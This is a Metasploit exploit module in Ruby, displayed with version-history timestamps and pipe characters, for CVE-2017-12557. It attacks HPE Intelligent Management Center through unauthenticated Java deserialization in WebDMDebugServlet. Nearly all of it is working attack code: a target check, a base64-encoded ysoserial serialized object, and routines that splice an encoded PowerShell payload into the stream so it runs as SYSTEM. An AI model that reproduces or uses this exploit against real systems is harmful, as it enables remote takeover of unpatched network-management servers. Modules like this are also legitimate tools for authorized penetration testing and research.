2018-11-10 21:36:43 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Powershell
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "HP Intelligent Management Java Deserialization RCE",
|
|
|
|
'Description' => %q{
|
|
|
|
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
|
|
|
|
Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
|
|
|
|
this vulnerability.
|
|
|
|
|
|
|
|
The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
|
|
|
|
default. The issue results from the lack of proper validation of user-supplied data, which can result
|
|
|
|
in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary
|
|
|
|
code in the context of SYSTEM.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Steven Seeley (mr_me) of Offensive Security', # Discovery
|
|
|
|
'Carsten @MaartmannMoe / cmm@transcendentgroup.com' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2017-12557'],
|
|
|
|
['URL', 'https://github.com/pimps/ysoserial-modified/blob/master/src/main/java/ysoserial/payloads/JSON1.java'],
|
|
|
|
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-17-832/']
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'HPE IMC 7.3 E0504P2 and earlier / Windows', {} ]
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => "Oct 3 2017",
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DefaultOptions' => {
|
|
|
|
'SSL' => false
|
|
|
|
}))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
|
|
|
|
Opt::RPORT('8080')
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
|
2018-11-11 07:07:32 +00:00
|
|
|
if res && res.code == 200 && res.body.include?('login_logo_hp.png')
|
2018-11-10 21:36:43 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
|
2018-11-11 07:07:37 +00:00
|
|
|
if res && res.code == 500 && res.body.include?('HPE Intelligent Management Center')
|
2018-11-10 21:36:43 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2018-11-11 21:15:30 +00:00
|
|
|
res = send_request_cgi(
|
2018-11-10 21:36:43 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
|
|
|
|
'data' => set_payload
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def set_payload
|
|
|
|
# JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
|
2018-11-11 21:15:30 +00:00
|
|
|
# java -jar ysoserial-modified.jar JSON1 cmd ""
|
2018-11-10 21:36:43 +00:00
|
|
|
jsonss_start = "rO0ABXNyABFqYXZhL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NDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"
|
|
|
|
|
|
|
|
# Generate Payload
|
|
|
|
cmd = gen_payload
|
|
|
|
tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
|
|
|
|
tmp = tmp.to_s(16)
|
|
|
|
length_param = [tmp.rjust(4,'0')].pack("H*")
|
|
|
|
|
|
|
|
# Convert command length to binary (two bytes, big-endian)
|
|
|
|
tmp = cmd.length.to_s(16)
|
|
|
|
cmd_size = [tmp.rjust(4,'0')].pack("H*")
|
|
|
|
|
|
|
|
# Some assembly required
|
|
|
|
payload = decode(jsonss_start) + length_param + decode(jsonss_mid) + cmd_size + cmd + decode(jsonss_end)
|
|
|
|
end
|
|
|
|
|
|
|
|
def decode(serialized_stream)
|
|
|
|
serialized_stream = Rex::Text.decode_base64(serialized_stream)
|
|
|
|
end
|
|
|
|
|
|
|
|
def gen_payload
|
|
|
|
# Powershell payload
|
|
|
|
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|